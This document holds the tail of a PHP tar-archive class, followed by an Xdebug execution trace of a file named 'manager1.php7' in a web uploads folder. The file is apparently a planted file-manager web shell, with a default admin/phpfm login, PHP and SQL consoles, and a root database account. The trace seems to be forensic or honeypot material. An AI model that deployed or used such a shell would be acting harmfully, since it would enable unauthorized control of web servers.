                while (($buffer = fread($file, 512)) != '') {
                    $binaryData = pack('a512', $buffer);
                    $this->writeBlock($binaryData);
                }
                fclose($file);
            } else {
                $this->writeHeader($filename, $keep_filename);
            }
            if (@is_dir($filename)) {
                if (!($handle = opendir($filename))) {
                    $this->errors[] = __('Error') . ': ' . __('Directory ') . $filename . __('is not readable');
                    continue;
                }
                while (false !== ($dir = readdir($handle))) {
                    if ($dir != '.' && $dir != '..') {
                        $file_array_tmp = array();
                        if ($filename != '.') {
                            $file_array_tmp[] = $filename . '/' . $dir;
                        } else {
                            $file_array_tmp[] = $dir;
                        }
                        $result = $this->packFileArray($file_array_tmp);
                    }
                }
                unset($file_array_tmp);
                unset($dir);
                unset($handle);
            }
        }
        return $result;
    }
    function unpackFileArray($path)
    {
        $path = str_replace('\\', '/', $path);
        if ($path == '' || substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')) {
            $path = './' . $path;
        }
        clearstatcache();
        while (strlen($binaryData = $this->readBlock()) != 0) {
            if (!$this->readHeader($binaryData, $header)) {
                return false;
            }
            if ($header['filename'] == '') {
                continue;
            }
            if ($header['typeflag'] == 'L') {
                //reading long header
                $filename = '';
                $decr = floor($header['size'] / 512);
                for ($i = 0; $i < $decr; $i++) {
                    $content = $this->readBlock();
                    $filename .= $content;
                }
                if (($laspiece = $header['size'] % 512) != 0) {
                    $content = $this->readBlock();
                    $filename .= substr($content, 0, $laspiece);
                }
                $binaryData = $this->readBlock();
                if (!$this->readHeader($binaryData, $header)) {
                    return false;
                } else {
                    $header['filename'] = $filename;
                }
                return true;
            }
            if ($path != './' && $path != '/') {
                while (substr($path, -1) == '/') {
                    $path = substr($path, 0, strlen($path) - 1);
                }
                if (substr($header['filename'], 0, 1) == '/') {
                    $header['filename'] = $path . $header['filename'];
                } else {
                    $header['filename'] = $path . '/' . $header['filename'];
                }
            }
            if (file_exists($header['filename'])) {
                if (@is_dir($header['filename']) && $header['typeflag'] == '') {
                    $this->errors[] = __('File ') . $header['filename'] . __(' already exists') . __(' as folder');
                    return false;
                }
                if (is_file($header['filename']) && $header['typeflag'] == '5') {
                    $this->errors[] = __('Cannot create directory') . '. ' . __('File ') . $header['filename'] . __(' already exists');
                    return false;
                }
                if (!is_writeable($header['filename'])) {
                    $this->errors[] = __('Cannot write to file') . '. ' . __('File ') . $header['filename'] . __(' already exists');
                    return false;
                }
            } elseif ($this->dirCheck($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])) != 1) {
                $this->errors[] = __('Cannot create directory') . ' ' . __(' for ') . $header['filename'];
                return false;
            }
            if ($header['typeflag'] == '5') {
                if (!file_exists($header['filename'])) {
                    if (!mkdir($header['filename'], 0777)) {
                        $this->errors[] = __('Cannot create directory') . ' ' . $header['filename'];
                        return false;
                    }
                }
            } else {
                if (($destination = fopen($header['filename'], 'wb')) == 0) {
                    $this->errors[] = __('Cannot write to file') . ' ' . $header['filename'];
                    return false;
                } else {
                    $decr = floor($header['size'] / 512);
                    for ($i = 0; $i < $decr; $i++) {
                        $content = $this->readBlock();
                        fwrite($destination, $content, 512);
                    }
                    if ($header['size'] % 512 != 0) {
                        $content = $this->readBlock();
                        fwrite($destination, $content, $header['size'] % 512);
                    }
                    fclose($destination);
                    touch($header['filename'], $header['time']);
                }
                clearstatcache();
                if (filesize($header['filename']) != $header['size']) {
                    $this->errors[] = __('Size of file') . ' ' . $header['filename'] . ' ' . __('is incorrect');
                    return false;
                }
            }
            if (($file_dir = dirname($header['filename'])) == $header['filename']) {
                $file_dir = '';
            }
            if (substr($header['filename'], 0, 1) == '/' && $file_dir == '') {
                $file_dir = '/';
            }
            $this->dirs[] = $file_dir;
            $this->files[] = $header['filename'];
        }
        return true;
    }
    function dirCheck($dir)
    {
        $parent_dir = dirname($dir);
        if (@is_dir($dir) or $dir == '') {
            return true;
        }
        if ($parent_dir != $dir and $parent_dir != '' and !$this->dirCheck($parent_dir)) {
            return false;
        }
        if (!mkdir($dir, 0777)) {
            $this->errors[] = __('Cannot create directory') . ' ' . $dir;
            return false;
        }
        return true;
    }
    function readHeader($binaryData, &$header)
    {
        if (strlen($binaryData) == 0) {
            $header['filename'] = '';
            return true;
        }
        if (strlen($binaryData) != 512) {
            $header['filename'] = '';
            $this->__('Invalid block size') . ': ' . strlen($binaryData);
            return false;
        }
        $checksum = 0;
        for ($i = 0; $i < 148; $i++) {
            $checksum += ord(substr($binaryData, $i, 1));
        }
        for ($i = 148; $i < 156; $i++) {
            $checksum += 32;
        }
        for ($i = 156; $i < 512; $i++) {
            $checksum += ord(substr($binaryData, $i, 1));
        }
        $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
        $header['checksum'] = OctDec(trim($unpack_data['checksum']));
        if ($header['checksum'] != $checksum) {
            $header['filename'] = '';
            if ($checksum == 256 && $header['checksum'] == 0) {
                return true;
            }
            $this->errors[] = __('Error checksum for file ') . $unpack_data['filename'];
            return false;
        }
        if (($header['typeflag'] = $unpack_data['typeflag']) == '5') {
            $header['size'] = 0;
        }
        $header['filename'] = trim($unpack_data['filename']);
        $header['mode'] = OctDec(trim($unpack_data['mode']));
        $header['user_id'] = OctDec(trim($unpack_data['user_id']));
        $header['group_id'] = OctDec(trim($unpack_data['group_id']));
        $header['size'] = OctDec(trim($unpack_data['size']));
        $header['time'] = OctDec(trim($unpack_data['time']));
        return true;
    }
    function writeHeader($filename, $keep_filename)
    {
        $packF = 'a100a8a8a8a12A12';
        $packL = 'a1a100a6a2a32a32a8a8a155a12';
        if (strlen($keep_filename) <= 0) {
            $keep_filename = $filename;
        }
        $filename_ready = $this->makeGoodPath($keep_filename);
        if (strlen($filename_ready) > 99) {
            //write long header
            $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
            $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
            //  Calculate the checksum
            $checksum = 0;
            //  First part of the header
            for ($i = 0; $i < 148; $i++) {
                $checksum += ord(substr($dataFirst, $i, 1));
            }
            //  Ignore the checksum value and replace it by ' ' (space)
            for ($i = 148; $i < 156; $i++) {
                $checksum += 32;
            }
            //  Last part of the header
            for ($i = 156, $j = 0; $i < 512; $i++, $j++) {
                $checksum += ord(substr($dataLast, $j, 1));
            }
            //  Write the first 148 bytes of the header in the archive
            $this->writeBlock($dataFirst, 148);
            //  Write the calculated checksum
            $checksum = sprintf('%6s ', DecOct($checksum));
            $binaryData = pack('a8', $checksum);
            $this->writeBlock($binaryData, 8);
            //  Write the last 356 bytes of the header in the archive
            $this->writeBlock($dataLast, 356);
            $tmp_filename = $this->makeGoodPath($filename_ready);
            $i = 0;
            while (($buffer = substr($tmp_filename, $i++ * 512, 512)) != '') {
                $binaryData = pack('a512', $buffer);
                $this->writeBlock($binaryData);
            }
            return true;
        }
        $file_info = stat($filename);
        if (@is_dir($filename)) {
            $typeflag = '5';
            $size = sprintf('%11s ', DecOct(0));
        } else {
            $typeflag = '';
            clearstatcache();
            $size = sprintf('%11s ', DecOct(filesize($filename)));
        }
        $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
        $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
        $checksum = 0;
        for ($i = 0; $i < 148; $i++) {
            $checksum += ord(substr($dataFirst, $i, 1));
        }
        for ($i = 148; $i < 156; $i++) {
            $checksum += 32;
        }
        for ($i = 156, $j = 0; $i < 512; $i++, $j++) {
            $checksum += ord(substr($dataLast, $j, 1));
        }
        $this->writeBlock($dataFirst, 148);
        $checksum = sprintf('%6s ', DecOct($checksum));
        $binaryData = pack('a8', $checksum);
        $this->writeBlock($binaryData, 8);
        $this->writeBlock($dataLast, 356);
        return true;
    }
    function openWrite()
    {
        if ($this->isGzipped) {
            $this->tmp_file = gzopen($this->archive_name, 'wb9f');
        } else {
            $this->tmp_file = fopen($this->archive_name, 'wb');
        }
        if (!$this->tmp_file) {
            $this->errors[] = __('Cannot write to file') . ' ' . $this->archive_name;
            return false;
        }
        return true;
    }
    function readBlock()
    {
        if (is_resource($this->tmp_file)) {
            if ($this->isGzipped) {
                $block = gzread($this->tmp_file, 512);
            } else {
                $block = fread($this->tmp_file, 512);
            }
        } else {
            $block = '';
        }
        return $block;
    }
    function writeBlock($data, $length = 0)
    {
        if (is_resource($this->tmp_file)) {
            if ($length === 0) {
                if ($this->isGzipped) {
                    gzputs($this->tmp_file, $data);
                } else {
                    fputs($this->tmp_file, $data);
                }
            } else {
                if ($this->isGzipped) {
                    gzputs($this->tmp_file, $data, $length);
                } else {
                    fputs($this->tmp_file, $data, $length);
                }
            }
        }
    }
    function closeTmpFile()
    {
        if (is_resource($this->tmp_file)) {
            if ($this->isGzipped) {
                gzclose($this->tmp_file);
            } else {
                fclose($this->tmp_file);
            }
            $this->tmp_file = 0;
        }
    }
    function makeGoodPath($path)
    {
        if (strlen($path) > 0) {
            $path = str_replace('\\', '/', $path);
            $partPath = explode('/', $path);
            $els = count($partPath) - 1;
            for ($i = $els; $i >= 0; $i--) {
                if ($partPath[$i] == '.') {
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..') {
                    $i--;
                } elseif ($partPath[$i] == '' and $i != $els and $i != 0) {
                } else {
                    $result = $partPath[$i] . ($i != $els ? '/' . $result : '');
                }
            }
        } else {
            $result = '';
        }
        return $result;
    }
}

Execution traces

data/traces/67b8ab8ce535a7a8301b9d9fd6ee9f13_trace-1676246976.1377.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:10:02.035482]
1	0	1	0.000149	393528
1	3	0	0.002976	937056	{main}	1		/var/www/html/uploads/manager1.php7	0	0
1		A						/var/www/html/uploads/manager1.php7	19	$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\\"text\\/javascript\\" src=\\"http:\\/\\/www.cdolivet.com\\/editarea\\/editarea\\/edit_area\\/edit_area_full.js\\"><\\/script>\\r\\n<script language=\\"Javascript\\" type=\\"text\\/javascript\\">\\r\\neditAreaLoader.init({\\r\\nid: \\"newcontent\\"\\r\\n,display: \\"later\\"\\r\\n,start_highlight: true\\r\\n,allow_resize: \\"both\\"\\r\\n,allow_toggle: true\\r\\n,word_wrap: true\\r\\'
1		A						/var/www/html/uploads/manager1.php7	20	$php_templates = '{"Settings":"global $fm_config;\\r\\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}'
1		A						/var/www/html/uploads/manager1.php7	21	$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'
2	4	0	0.003094	937056	microtime	0		/var/www/html/uploads/manager1.php7	25	0
2	4	1	0.003108	937104
2	4	R			'0.14068700 1676246976'
2	5	0	0.003123	937104	explode	0		/var/www/html/uploads/manager1.php7	25	2	' '	'0.14068700 1676246976'
2	5	1	0.003138	937632
2	5	R			[0 => '0.14068700', 1 => '1676246976']
1		A						/var/www/html/uploads/manager1.php7	25	$starttime = [0 => '0.14068700', 1 => '1676246976']
1		A						/var/www/html/uploads/manager1.php7	26	$starttime = 1676246976.1407
1		A						/var/www/html/uploads/manager1.php7	27	$langs = [0 => 'en', 1 => 'ru', 2 => 'de', 3 => 'fr', 4 => 'uk']
2	6	0	0.003196	937056	realpath	0		/var/www/html/uploads/manager1.php7	28	1	'.'
2	6	1	0.003214	937136
2	6	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/manager1.php7	28	$path = '/var/www/html/uploads'
1		A						/var/www/html/uploads/manager1.php7	28	$path = '/var/www/html/uploads'
2	7	0	0.003250	937104	str_replace	0		/var/www/html/uploads/manager1.php7	29	3	'\\'	'/'	'/var/www/html/uploads'
2	7	1	0.003266	937200
2	7	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/manager1.php7	29	$path = '/var/www/html/uploads/'
2	8	0	0.003291	937104	realpath	0		/var/www/html/uploads/manager1.php7	30	1	'./'
2	8	1	0.003304	937184
2	8	R			'/var/www/html/uploads'
2	9	0	0.003317	937152	str_replace	0		/var/www/html/uploads/manager1.php7	30	3	'\\'	'/'	'/var/www/html/uploads'
2	9	1	0.003332	937248
2	9	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/manager1.php7	30	$main_path = '/var/www/html/uploads'
2	10	0	0.003356	937152	phpversion	0		/var/www/html/uploads/manager1.php7	31	0
2	10	1	0.003368	937216
2	10	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
2	11	0	0.003383	937216	version_compare	0		/var/www/html/uploads/manager1.php7	31	3	'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'	'5.3.0'	'<'
2	11	1	0.003401	937312
2	11	R			FALSE
1		A						/var/www/html/uploads/manager1.php7	31	$phar_maybe = FALSE
1		A						/var/www/html/uploads/manager1.php7	32	$msg = ''
1		A						/var/www/html/uploads/manager1.php7	33	$default_language = 'ru'
1		A						/var/www/html/uploads/manager1.php7	34	$detect_lang = TRUE
1		A						/var/www/html/uploads/manager1.php7	35	$fm_version = 1.1
2	12	0	0.003466	937152	json_decode	0		/var/www/html/uploads/manager1.php7	38	2	'{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\\"text\\/javascript\\" src=\\"http:\\/\\/www.cdolivet.com\\/editarea\\/editarea\\/edit_area\\/edit_area_full.js\\"><\\/script>\\r\\n<script language=\\"Javascript\\" type=\\"text\\/javascript\\">\\r\\neditAreaLoader.init({\\r\\nid: \\"newcontent\\"\\r\\n,display: \\"later\\"\\r\\n,start_highlight: true\\r\\n,allow_resize: \\"both\\"\\r\\n,allow_toggle: true\\r\\n,word_wrap: true\\r\\'	TRUE
2	12	1	0.003505	938624
2	12	R			['authorize' => '0', 'login' => 'admin', 'password' => 'phpfm', 'cookie_name' => 'fm_user', 'days_authorization' => '30', 'script' => '<script type="text/javascript" src="http://www.cdolivet.com/editarea/editarea/edit_area/edit_area_full.js"></script>\r\n<script language="Javascript" type="text/javascript">\r\neditAreaLoader.init({\r\nid: "newcontent"\r\n,display: "later"\r\n,start_highlight: true\r\n,allow_resize: "both"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: "ru"\r\n,syntax: "php"\t\r\n,toolbar: "search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highligh']
1		A						/var/www/html/uploads/manager1.php7	38	$auth = ['authorize' => '0', 'login' => 'admin', 'password' => 'phpfm', 'cookie_name' => 'fm_user', 'days_authorization' => '30', 'script' => '<script type="text/javascript" src="http://www.cdolivet.com/editarea/editarea/edit_area/edit_area_full.js"></script>\r\n<script language="Javascript" type="text/javascript">\r\neditAreaLoader.init({\r\nid: "newcontent"\r\n,display: "later"\r\n,start_highlight: true\r\n,allow_resize: "both"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: "ru"\r\n,syntax: "php"\t\r\n,toolbar: "search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highligh']
1		A						/var/www/html/uploads/manager1.php7	39	$auth['authorize'] = '0'
2	13	0	0.003611	938560	is_numeric	0		/var/www/html/uploads/manager1.php7	40	1	'30'
2	13	1	0.003625	938592
2	13	R			TRUE
1		A						/var/www/html/uploads/manager1.php7	40	$auth['days_authorization'] = 30
1		A						/var/www/html/uploads/manager1.php7	41	$auth['login'] = 'admin'
1		A						/var/www/html/uploads/manager1.php7	42	$auth['password'] = 'phpfm'
1		A						/var/www/html/uploads/manager1.php7	43	$auth['cookie_name'] = 'fm_user'
1		A						/var/www/html/uploads/manager1.php7	44	$auth['script'] = '<script type="text/javascript" src="http://www.cdolivet.com/editarea/editarea/edit_area/edit_area_full.js"></script>\r\n<script language="Javascript" type="text/javascript">\r\neditAreaLoader.init({\r\nid: "newcontent"\r\n,display: "later"\r\n,start_highlight: true\r\n,allow_resize: "both"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: "ru"\r\n,syntax: "php"\t\r\n,toolbar: "search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highligh'
1		A						/var/www/html/uploads/manager1.php7	48	$fm_default_config = ['make_directory' => TRUE, 'new_file' => TRUE, 'upload_file' => TRUE, 'show_dir_size' => FALSE, 'show_img' => TRUE, 'show_php_ver' => TRUE, 'show_php_ini' => FALSE, 'show_gt' => TRUE, 'enable_php_console' => TRUE, 'enable_sql_console' => TRUE, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => TRUE, 'show_phpinfo' => TRUE, 'show_xls' => TRUE, 'fm_settings' => TRUE]
1		A						/var/www/html/uploads/manager1.php7	68	$fm_config = ['make_directory' => TRUE, 'new_file' => TRUE, 'upload_file' => TRUE, 'show_dir_size' => FALSE, 'show_img' => TRUE, 'show_php_ver' => TRUE, 'show_php_ini' => FALSE, 'show_gt' => TRUE, 'enable_php_console' => TRUE, 'enable_sql_console' => TRUE, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => TRUE, 'show_phpinfo' => TRUE, 'show_xls' => TRUE, 'fm_settings' => TRUE]
1		A						/var/www/html/uploads/manager1.php7	76	$language = 'ru'
1		A						/var/www/html/uploads/manager1.php7	94	$language = 'ru'
1		A						/var/www/html/uploads/manager1.php7	99	$lang['Add'] = 'Добавить'
1		A						/var/www/html/uploads/manager1.php7	100	$lang['Are you sure you want to delete this directory (recursively)?'] = 'Вы уверены, что хотите удалить эту папку (рекурсивно)?'
1		A						/var/www/html/uploads/manager1.php7	101	$lang['Are you sure you want to delete this file?'] = 'Вы уверены, что хотите удалить этот файл?'
1		A						/var/www/html/uploads/manager1.php7	102	$lang['Archiving'] = 'Архивировать'
1		A						/var/www/html/uploads/manager1.php7	103	$lang['Authorization'] = 'Авторизация'
1		A						/var/www/html/uploads/manager1.php7	104	$lang['Back'] = 'Назад'
1		A						/var/www/html/uploads/manager1.php7	105	$lang['Cancel'] = 'Отмена'
1		A						/var/www/html/uploads/manager1.php7	106	$lang['Chinese'] = 'Китайский'
1		A						/var/www/html/uploads/manager1.php7	107	$lang['Compress'] = 'Сжать'
1		A						/var/www/html/uploads/manager1.php7	108	$lang['Console'] = 'Консоль'
1		A						/var/www/html/uploads/manager1.php7	109	$lang['Cookie'] = 'Куки'
1		A						/var/www/html/uploads/manager1.php7	110	$lang['Created'] = 'Создан'
1		A						/var/www/html/uploads/manager1.php7	111	$lang['Date'] = 'Дата'
1		A						/var/www/html/uploads/manager1.php7	112	$lang['Days'] = 'Дней'
1		A						/var/www/html/uploads/manager1.php7	113	$lang['Decompress'] = 'Распаковать'
1		A						/var/www/html/uploads/manager1.php7	114	$lang['Delete'] = 'Удалить'
1		A						/var/www/html/uploads/manager1.php7	115	$lang['Deleted'] = 'Удалено'
1		A						/var/www/html/uploads/manager1.php7	116	$lang['Download'] = 'Скачать'
1		A						/var/www/html/uploads/manager1.php7	117	$lang['done'] = 'закончена'
1		A						/var/www/html/uploads/manager1.php7	118	$lang['Edit'] = 'Редактировать'
1		A						/var/www/html/uploads/manager1.php7	119	$lang['Enter'] = 'Вход'
1		A						/var/www/html/uploads/manager1.php7	120	$lang['English'] = 'Английский'
1		A						/var/www/html/uploads/manager1.php7	121	$lang['Error occurred'] = 'Произошла ошибка'
1		A						/var/www/html/uploads/manager1.php7	122	$lang['File manager'] = 'Файловый менеджер'
1		A						/var/www/html/uploads/manager1.php7	123	$lang['File selected'] = 'Выбран файл'
1		A						/var/www/html/uploads/manager1.php7	124	$lang['File updated'] = 'Файл сохранен'
1		A						/var/www/html/uploads/manager1.php7	125	$lang['Filename'] = 'Имя файла'
1		A						/var/www/html/uploads/manager1.php7	126	$lang['Files uploaded'] = 'Файл загружен'
1		A						/var/www/html/uploads/manager1.php7	127	$lang['French'] = 'Французский'
1		A						/var/www/html/uploads/manager1.php7	128	$lang['German'] = 'Немецкий'
1		A						/var/www/html/uploads/manager1.php7	129	$lang['Generation time'] = 'Генерация страницы'
1		A						/var/www/html/uploads/manager1.php7	130	$lang['Home'] = 'Домой'
1		A						/var/www/html/uploads/manager1.php7	131	$lang['Quit'] = 'Выход'
1		A						/var/www/html/uploads/manager1.php7	132	$lang['Language'] = 'Язык'
1		A						/var/www/html/uploads/manager1.php7	133	$lang['Login'] = 'Логин'
1		A						/var/www/html/uploads/manager1.php7	134	$lang['Manage'] = 'Управление'
1		A						/var/www/html/uploads/manager1.php7	135	$lang['Make directory'] = 'Создать папку'
1		A						/var/www/html/uploads/manager1.php7	136	$lang['Name'] = 'Наименование'
1		A						/var/www/html/uploads/manager1.php7	137	$lang['New'] = 'Новое'
1		A						/var/www/html/uploads/manager1.php7	138	$lang['New file'] = 'Новый файл'
1		A						/var/www/html/uploads/manager1.php7	139	$lang['no files'] = 'нет файлов'
1		A						/var/www/html/uploads/manager1.php7	140	$lang['Password'] = 'Пароль'
1		A						/var/www/html/uploads/manager1.php7	141	$lang['pictures'] = 'изображения'
1		A						/var/www/html/uploads/manager1.php7	142	$lang['Recursively'] = 'Рекурсивно'
1		A						/var/www/html/uploads/manager1.php7	143	$lang['Rename'] = 'Переименовать'
1		A						/var/www/html/uploads/manager1.php7	144	$lang['Reset'] = 'Сбросить'
1		A						/var/www/html/uploads/manager1.php7	145	$lang['Reset settings'] = 'Сбросить настройки'
1		A						/var/www/html/uploads/manager1.php7	146	$lang['Result'] = 'Результат'
1		A						/var/www/html/uploads/manager1.php7	147	$lang['Rights'] = 'Права'
1		A						/var/www/html/uploads/manager1.php7	148	$lang['Russian'] = 'Русский'
1		A						/var/www/html/uploads/manager1.php7	149	$lang['Save'] = 'Сохранить'
1		A						/var/www/html/uploads/manager1.php7	150	$lang['Select'] = 'Выберите'
1		A						/var/www/html/uploads/manager1.php7	151	$lang['Select the file'] = 'Выберите файл'
1		A						/var/www/html/uploads/manager1.php7	152	$lang['Settings'] = 'Настройка'
1		A						/var/www/html/uploads/manager1.php7	153	$lang['Show'] = 'Показать'
1		A						/var/www/html/uploads/manager1.php7	154	$lang['Size'] = 'Размер'
1		A						/var/www/html/uploads/manager1.php7	155	$lang['Spanish'] = 'Испанский'
1		A						/var/www/html/uploads/manager1.php7	156	$lang['Submit'] = 'Отправить'
1		A						/var/www/html/uploads/manager1.php7	157	$lang['Task'] = 'Задача'
1		A						/var/www/html/uploads/manager1.php7	158	$lang['templates'] = 'шаблоны'
1		A						/var/www/html/uploads/manager1.php7	159	$lang['Show size of the folder'] = 'Показать размер папки'
1		A						/var/www/html/uploads/manager1.php7	160	$lang['Ukrainian'] = 'Украинский'
1		A						/var/www/html/uploads/manager1.php7	161	$lang['Upload'] = 'Загрузить'
1		A						/var/www/html/uploads/manager1.php7	162	$lang['Value'] = 'Значение'
1		A						/var/www/html/uploads/manager1.php7	163	$lang['Hello'] = 'Привет'
2	14	0	0.004638	946776	__	1		/var/www/html/uploads/manager1.php7	962	1	'File manager'
2	14	1	0.004654	946800
2	14	R			'Файловый менеджер'
2	15	0	0.004780	955104	fm_home_style	1		/var/www/html/uploads/manager1.php7	1048	0
2	15	1	0.004795	955104
2	15	R			'\ninput, input.fm_input {\n    text-indent: 2px;\n}\ninput, textarea, select, input.fm_input {\n    color: black;\n    font: normal 8pt Verdana, Arial, Helvetica, sans-serif;\n    border-color: black;\n    background-color: #FCFCFC none !important;\n    border-radius: 0;\n    padding: 2px;\n}\ninput.fm_input {\n    background: #FCFCFC none !important;\n    cursor: pointer;\n}\n.home {\n    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTF'
1		A						/var/www/html/uploads/manager1.php7	1067	$url_inc = '?fm=true'
1		A						/var/www/html/uploads/manager1.php7	1272	$msg = ''
2	16	0	0.004859	955104	__	1		/var/www/html/uploads/manager1.php7	1380	1	'File manager'
2	16	1	0.004872	955104
2	16	R			'Файловый менеджер'
2	17	0	0.004890	955104	fm_home	1		/var/www/html/uploads/manager1.php7	1392	1	???
3	18	0	0.004902	955104	fm_url	1		/var/www/html/uploads/manager1.php7	742	1	FALSE
3		A						/var/www/html/uploads/manager1.php7	737	$host = '.'
4	19	0	0.004925	955136	basename	0		/var/www/html/uploads/manager1.php7	738	1	'/var/www/html/uploads/manager1.php7'
4	19	1	0.004942	955208
4	19	R			'manager1.php7'
3	18	1	0.004957	955144
3	18	R			'./manager1.php7'
3	20	0	0.004972	955168	__	1		/var/www/html/uploads/manager1.php7	742	1	'Home'
3	20	1	0.004984	955168
3	20	R			'Домой'
2	17	1	0.004999	955264
2	17	R			'&nbsp;<a href="./manager1.php7" title="Домой"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>'
2	21	0	0.005020	955104	__	1		/var/www/html/uploads/manager1.php7	1399	1	'Make directory'
2	21	1	0.005034	955104
2	21	R			'Создать папку'
2	22	0	0.005050	955104	__	1		/var/www/html/uploads/manager1.php7	1408	1	'New file'
2	22	1	0.005063	955104
2	22	R			'Новый файл'
2	23	0	0.005078	955104	fm_run_input	1		/var/www/html/uploads/manager1.php7	1413	1	'php'
3	24	0	0.005092	955128	fm_url	1		/var/www/html/uploads/manager1.php7	749	1	???
3		A						/var/www/html/uploads/manager1.php7	737	$host = '.'
4	25	0	0.005115	955160	basename	0		/var/www/html/uploads/manager1.php7	738	1	'/var/www/html/uploads/manager1.php7'
4	25	1	0.005129	955232
4	25	R			'manager1.php7'
3	24	1	0.005143	955168
3	24	R			'./manager1.php7'
3	26	0	0.005158	955288	strtoupper	0		/var/www/html/uploads/manager1.php7	750	1	'php'
3	26	1	0.005172	955352
3	26	R			'PHP'
3	27	0	0.005185	955288	__	1		/var/www/html/uploads/manager1.php7	750	1	'Console'
3	27	1	0.005198	955288
3	27	R			'Консоль'
2		A						/var/www/html/uploads/manager1.php7	752	$return = '\n\t\t<form  method="post" action="./manager1.php7" style="display:inline">\n\t\t<input type="submit" name="phprun" value="PHP Консоль">\n\t\t</form>\n'
2	23	1	0.005232	955320
2	23	R			'\n\t\t<form  method="post" action="./manager1.php7" style="display:inline">\n\t\t<input type="submit" name="phprun" value="PHP Консоль">\n\t\t</form>\n'
2	28	0	0.005254	955128	fm_run_input	1		/var/www/html/uploads/manager1.php7	1416	1	'sql'
3	29	0	0.005268	955128	fm_url	1		/var/www/html/uploads/manager1.php7	749	1	???
3		A						/var/www/html/uploads/manager1.php7	737	$host = '.'
4	30	0	0.005290	955160	basename	0		/var/www/html/uploads/manager1.php7	738	1	'/var/www/html/uploads/manager1.php7'
4	30	1	0.005305	955232
4	30	R			'manager1.php7'
3	29	1	0.005319	955168
3	29	R			'./manager1.php7'
3	31	0	0.005333	955288	strtoupper	0		/var/www/html/uploads/manager1.php7	750	1	'sql'
3	31	1	0.005346	955352
3	31	R			'SQL'
3	32	0	0.005359	955288	__	1		/var/www/html/uploads/manager1.php7	750	1	'Console'
3	32	1	0.005372	955288
3	32	R			'Консоль'
2		A						/var/www/html/uploads/manager1.php7	752	$return = '\n\t\t<form  method="post" action="./manager1.php7" style="display:inline">\n\t\t<input type="submit" name="sqlrun" value="SQL Консоль">\n\t\t</form>\n'
2	28	1	0.005405	955320
2	28	R			'\n\t\t<form  method="post" action="./manager1.php7" style="display:inline">\n\t\t<input type="submit" name="sqlrun" value="SQL Консоль">\n\t\t</form>\n'
2	33	0	0.005428	955128	__	1		/var/www/html/uploads/manager1.php7	1429	1	'Select the file'
2	33	1	0.005442	955128
2	33	R			'Выберите файл'
2	34	0	0.005457	955128	__	1		/var/www/html/uploads/manager1.php7	1430	1	'Upload'
2	34	1	0.005471	955128
2	34	R			'Загрузить'
2	35	0	0.005485	955128	__	1		/var/www/html/uploads/manager1.php7	1438	1	'Hello'
2	35	1	0.005498	955128
2	35	R			'Привет'
2	36	0	0.005518	955128	__	1		/var/www/html/uploads/manager1.php7	1439	1	'Quit'
2	36	1	0.005531	955128
2	36	R			'Выход'
2	37	0	0.005545	955128	fm_lang_form	1		/var/www/html/uploads/manager1.php7	1444	1	'ru'
3	38	0	0.005558	955128	__	1		/var/www/html/uploads/manager1.php7	560	1	'Language'
3	38	1	0.005571	955128
3	38	R			'Язык'
3	39	0	0.005585	955352	__	1		/var/www/html/uploads/manager1.php7	561	1	'English'
3	39	1	0.005598	955352
3	39	R			'Английский'
3	40	0	0.005613	955384	__	1		/var/www/html/uploads/manager1.php7	562	1	'German'
3	40	1	0.005626	955384
3	40	R			'Немецкий'
3	41	0	0.005640	955448	__	1		/var/www/html/uploads/manager1.php7	563	1	'Russian'
3	41	1	0.005653	955448
3	41	R			'Русский'
3	42	0	0.005667	955512	__	1		/var/www/html/uploads/manager1.php7	564	1	'French'
3	42	1	0.005680	955512
3	42	R			'Французский'
3	43	0	0.005695	955576	__	1		/var/www/html/uploads/manager1.php7	565	1	'Ukrainian'
3	43	1	0.005707	955576
3	43	R			'Украинский'
2	37	1	0.005722	955640
2	37	R			'\n<form name="change_lang" method="post" action="">\n    <select name="fm_lang" title="Язык" onchange="document.forms[\'change_lang\'].submit()" >\n\t<option value="en" >Английский</option>\n\t<option value="de" >Немецкий</option>\n\t<option value="ru" selected="selected" >Русский</option>\n\t<option value="fr" >Французский</option>\n\t<option value="uk" >Украинский</option>\n    </select>\n</form>\n'
